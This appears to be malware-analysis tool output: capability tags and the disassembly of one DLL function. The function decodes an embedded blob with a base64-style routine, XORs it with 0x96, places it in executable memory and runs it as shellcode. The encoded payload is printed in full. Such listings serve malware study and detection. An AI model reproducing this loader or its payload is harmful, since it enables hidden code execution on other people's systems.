Function at 0x180001860
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0xa0
mov rax, qword [0x180005010]
xor rax, rsp
mov qword [rbp + 0x27], rax
xorps xmm0, xmm0
movups xmmword [rbp + 7], xmm0
mov ecx, 0x4e0
call fcn.180001eac
mov r14, rax
mov qword [rbp + 7], rax
mov r8d, 0x4d8
mov qword [rbp + 0x17], r8
mov qword [rbp + 0x1f], 0x4df
mov rcx, rax
lea rax, str.at4VcmZXpaWltfH18bEx8Dep0Tz3h3E9t4dxI7eHcS23h3kxt6ZIdzc26df3qdWOqr36pS6ttdXX5vXl1d0e8TXx94dxLYd1Krel0bwF6OnZTj5B0WHpaWlt4TVuLx3pdGxh3ejtId1rbfl0Z1wN5pX9cdoh7el0Dbp1_ep1Y611dfm9eXV65242faldqyntOvRNOztId1rLfl0bw1x2a3tId1orfl0bXHZIe3pdG187XzsjPzNfO18_XzN4VerbXxGl2ztfPzN4dhH_ZaWlpy_yW3yjh__j_PPiltfA3x9w2h9n1yza4bCRaUPep1_ep0Tbp1bbp1_XxtfG1yyswO8xaUN_BZaWlszeH1fXLmi2lpbbp1_Xx9fH_JXXx9cswR8JUGlDfe_N3h9X3qdE3x9O26dfxP6WpFYSxMTXLH3DuK1pQ94fUN4VVcb8nMneH2csiZaWlvyW_hallpbfH3bXL5KWlpbXLOPQCBBpQ94fZ94fTN9RVmlpaWnbp1_ExNcsu5CO7WlDE1aZEwuXlpbeaVmZEhqXlpZ9JX9yl5aWfhRpaWm5_Ofj8Tvu6W4pbikuOX6__u4__4uPzllqV5YIlyGBRR59ackjMqmojt0ligSMLcOBn33hIIkISeKtuuRYgjxkrmHPFbBaEFxWFVEXyltf19fPm4qy24vPu4rn4vv6uvfm5vr_9ffi__n4ue74vv6ve77rr35ub6__X34v_5Lnu_qt56umuK6vLm8reerprium5zX9fXz5uK72vf48eP38fOstvP4u8PFuvP4reerprijm5zE8_Dz5PPkrLb4uLmrLm59fny87j85Pz5O49fn7uZuc1_X18biu9P49fny__jxrLbx7P_murby8_D69Lzm5zD5fPku9fx8_jirLbbez_vr3uaO4prazqenrbba__jj7rburqDJoKK_ttfm5vrzwfP03f_iuaOlobilp7a3d7C29q6tvr__fO20fP1_fm_ttX5Pn787muprimuKWvrqG4r62xffw9T_uaOlobilp5ucllnMvZzzgXh6Qc5aNJbXKGYjNMBpQ96nXyyWltaW1y6WhpaW1y_WlpaW1yzOMsVzaUPeBcXF3h9x3h9n3h9M1y6WtpaW3x9v1yyEAB90aUPeFVK2E1biIPAdkd6XVRNW40HOzs7ekzmZlpbGVX7pa2lpp6aluKeioLinoa4p6avlpNjd5Y
mov edx, 9
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x180001210
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
mov rax, qword [rax + 0x50]
mov qword [rcx + 0x50], rax
mov byte [r14 + 0x4d8], dl
mov ecx, dword [0x1800056ac]
mov rax, qword gs:[0x58]
mov edx, 4
mov rax, qword [rax + rcx*8]
xor r13d, r13d
mov eax, dword [rdx + rax]
cmp dword [0x1800056e0], eax
jle 0x18000136a
lea rcx, [0x1800056e0]
call fcn.180001b98
cmp dword [0x1800056e0], 0xffffffff
jne 0x180001364
xorps xmm0, xmm0
movups xmmword [0x1800056e8], xmm0
mov qword [0x1800056f8], r13
mov qword [0x180005700], 0xf
lea ecx, [r13 + 0x50]
call fcn.180001eac
mov qword [0x1800056e8], rax
mov qword [0x1800056f8], 0x40
mov qword [0x180005700], 0x4f
movaps xmm0, xmmword [str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
movups xmmword [rax], xmm0
movaps xmm1, xmmword [0x1800037e0]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x1800037f0]
movups xmmword [rax + 0x20], xmm0
movaps xmm1, xmmword [0x180003800]
movups xmmword [rax + 0x30], xmm1
mov byte [rax + 0x40], r13b
lea rcx, [0x180002d40]
call fcn.180002250
nop
lea rcx, [0x1800056e0]
call fcn.180001b2c
mov r8d, 0x4d8
xorps xmm0, xmm0
movups xmmword [rbp - 0x19], xmm0
mov qword [rbp - 0x19], r13
mov rbx, r13
mov qword [rbp - 0x11], rbx
mov rsi, r13
mov qword [rbp - 9], r13
mov edi, r13d
mov rax, r13
mov rdx, r14
lea r12, [0x1800056e8]
movzx r15d, byte [rbp - 0x34]
nop dword [rax + rax]
dec r8d
mov qword [rbp - 0x29], r8
movzx ecx, byte [rdx]
cmp cl, 0x3d
je 0x180001596
mov byte [rbp + rax - 0x35], cl
inc edi
inc rax
inc rdx
mov qword [rbp - 0x31], rdx
cmp rax, 4
jne 0x180001588
cmp qword [0x180005700], 0x10
setae r15b
mov byte [rbp - 0x39], r15b
mov r14, r12
mov r13, qword [0x1800056e8]
cmovae r14, r13
mov rdi, qword [0x1800056f8]
test rdi, rdi
je 0x180001410
movsx edx, byte [rbp - 0x35]
mov r8, rdi
mov rcx, r14
call sub.VCRUNTIME140.dll_memchr
test rax, rax
je 0x180001410
sub rax, r14
jmp 0x180001417
mov rax, 0xffffffffffffffff
mov byte [rbp - 0x35], al
mov r14, r12
test r15b, r15b
cmovne r14, r13
test rdi, rdi
je 0x180001445
movsx edx, byte [rbp - 0x34]
mov r8, rdi
mov rcx, r14
call sub.VCRUNTIME140.dll_memchr
mov r15, rax
test rax, rax
je 0x180001445
sub r15, r14
jmp 0x18000144c
mov r15, 0xffffffffffffffff
mov byte [rbp - 0x34], r15b
cmp byte [rbp - 0x39], 0
cmovne r12, r13
test rdi, rdi
je 0x180001479
movsx edx, byte [rbp - 0x33]
mov r8, rdi
mov rcx, r12
call sub.VCRUNTIME140.dll_memchr
mov r14, rax
test rax, rax
je 0x180001479
sub r14, r12
jmp 0x180001480
mov r14, 0xffffffffffffffff
mov byte [rbp - 0x33], r14b
lea r12, [0x1800056e8]
cmp byte [rbp - 0x39], 0
cmovne r12, r13
test rdi, rdi
je 0x1800014b4
movsx edx, byte [rbp - 0x32]
mov r8, rdi
mov rcx, r12
call sub.VCRUNTIME140.dll_memchr
mov rcx, rax
test rax, rax
je 0x1800014b4
sub rcx, r12
jmp 0x1800014bb
mov rcx, 0xffffffffffffffff
mov byte [rbp - 0x32], cl
movzx edx, r15b
shr dl, 4
and dl, 3
movzx eax, byte [rbp - 0x35]
shl al, 2
add dl, al
mov byte [rbp - 0x21], dl
movzx edi, byte [rbp - 0x33]
shr dil, 2
and dil, 0xf
movzx eax, r15b
shl al, 4
add dil, al
mov byte [rbp - 0x20], dil
shl r14b, 6
add r14b, cl
mov byte [rbp - 0x1f], r14b
cmp rbx, rsi
je 0x180001509
mov byte [rbx], dl
inc rbx
mov qword [rbp - 0x11], rbx
jmp 0x180001521
lea r8, [rbp - 0x21]
mov rdx, rbx
lea rcx, [rbp - 0x19]
call fcn.180001930
mov rsi, qword [rbp - 9]
mov rbx, qword [rbp - 0x11]
cmp rbx, rsi
je 0x180001532
mov byte [rbx], dil
inc rbx
mov qword [rbp - 0x11], rbx
jmp 0x18000154a
lea r8, [rbp - 0x20]
mov rdx, rbx
lea rcx, [rbp - 0x19]
call fcn.180001930
mov rsi, qword [rbp - 9]
mov rbx, qword [rbp - 0x11]
cmp rbx, rsi
je 0x18000155b
mov byte [rbx], r14b
inc rbx
mov qword [rbp - 0x11], rbx
jmp 0x180001573
lea r8, [rbp - 0x1f]
mov rdx, rbx
lea rcx, [rbp - 0x19]
call fcn.180001930
mov rsi, qword [rbp - 9]
mov rbx, qword [rbp - 0x11]
xor edi, edi
xor eax, eax
lea r12, [0x1800056e8]
mov r8, qword [rbp - 0x29]
mov rdx, qword [rbp - 0x31]
jmp 0x18000158d
movzx r15d, byte [rbp - 0x34]
test r8d, r8d
jne 0x1800013a0
test edi, edi
je 0x180001737
movsxd rax, edi
cmp rax, 4
jge 0x1800015c0
jae 0x180001832
mov byte [rbp + rax - 0x35], 0
inc rax
cmp rax, 4
jl 0x1800015a7
movzx r15d, byte [rbp - 0x34]
cmp qword [0x180005700], 0x10
setae byte [rbp - 0x39]
mov r14, r12
cmovae r14, qword [0x1800056e8]
mov r12, qword [0x1800056f8]
test r12, r12
je 0x1800015ff
movsx edx, byte [rbp - 0x35]
mov r8, r12
mov rcx, r14
call sub.VCRUNTIME140.dll_memchr
mov r13, rax
test rax, rax
je 0x1800015ff
sub r13, r14
jmp 0x180001606
mov r13, 0xffffffffffffffff
lea r14, [0x1800056e8]
cmp byte [rbp - 0x39], 0
cmovne r14, qword [0x1800056e8]
test r12, r12
je 0x18000163a
movsx edx, r15b
mov r8, r12
mov rcx, r14
call sub.VCRUNTIME140.dll_memchr
mov r15, rax
test rax, rax
je 0x18000163a
sub r15, r14
jmp 0x180001641
mov r15, 0xffffffffffffffff
lea rax, [0x1800056e8]
cmp byte [rbp - 0x39], 0
cmovne rax, qword [0x1800056e8]
mov qword [rbp - 0x31], rax
test r12, r12
je 0x18000167a
movsx edx, byte [rbp - 0x33]
mov r8, r12
mov rcx, rax
call sub.VCRUNTIME140.dll_memchr
mov r14, rax
test rax, rax
je 0x18000167a
sub r14, qword [rbp - 0x31]
jmp 0x180001681
mov r14, 0xffffffffffffffff
cmp byte [rbp - 0x39], 0
lea rax, [0x1800056e8]
cmovne rax, qword [0x1800056e8]
mov qword [rbp - 0x31], rax
test r12, r12
je 0x1800016ba
movsx edx, byte [rbp - 0x32]
mov r8, r12
mov rcx, rax
call sub.VCRUNTIME140.dll_memchr
mov rcx, rax
test rax, rax
je 0x1800016ba
sub rcx, qword [rbp - 0x31]
jmp 0x1800016c1
mov rcx, 0xffffffffffffffff
movzx eax, r15b
shr al, 4
and al, 3
shl r13b, 2
add al, r13b
mov byte [rbp - 0x21], al
movzx eax, r14b
shr al, 2
and al, 0xf
shl r15b, 4
add al, r15b
mov byte [rbp - 0x20], al
shl r14b, 6
add r14b, cl
mov byte [rbp - 0x1f], r14b
lea eax, [rdi - 1]
movsxd r14, eax
test eax, eax
jle 0x180001737
xor edi, edi
nop
lea r8, [rbp - 0x21]
add r8, rdi
cmp rbx, rsi
je 0x18000171b
movzx eax, byte [r8]
mov byte [rbx], al
inc rbx
mov qword [rbp - 0x11], rbx
jmp 0x18000172f
mov rdx, rbx
lea rcx, [rbp - 0x19]
call fcn.180001930
mov rsi, qword [rbp - 9]
mov rbx, qword [rbp - 0x11]
inc rdi
cmp rdi, r14
jl 0x180001700
mov r14, qword [rbp - 0x19]
sub rbx, r14
je 0x180001761
mov rcx, r14
nop dword [rax]
nop word [rax + rax]
xor byte [rcx], 0x96
inc rcx
mov rax, rcx
sub rax, r14
cmp rax, rbx
jb 0x180001750
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
mov r8, rbx
mov rdx, r14
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rbp - 1]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8, rdi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
nop
test r14, r14
je 0x1800017f5
sub rsi, r14
mov rax, r14
cmp rsi, 0x1000
jb 0x1800017e9
add rsi, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1800017e9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rdx, rsi
mov rcx, r14
call fcn.180002268
nop
mov edx, 0x4e0
mov rcx, qword [rbp + 7]
call fcn.180002268
xor eax, eax
mov rcx, qword [rbp + 0x27]
xor rcx, rsp
call fcn.180001ad0
lea r11, [rsp + 0xa0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.180001d18
nop
int3
jmp 0x1800011a0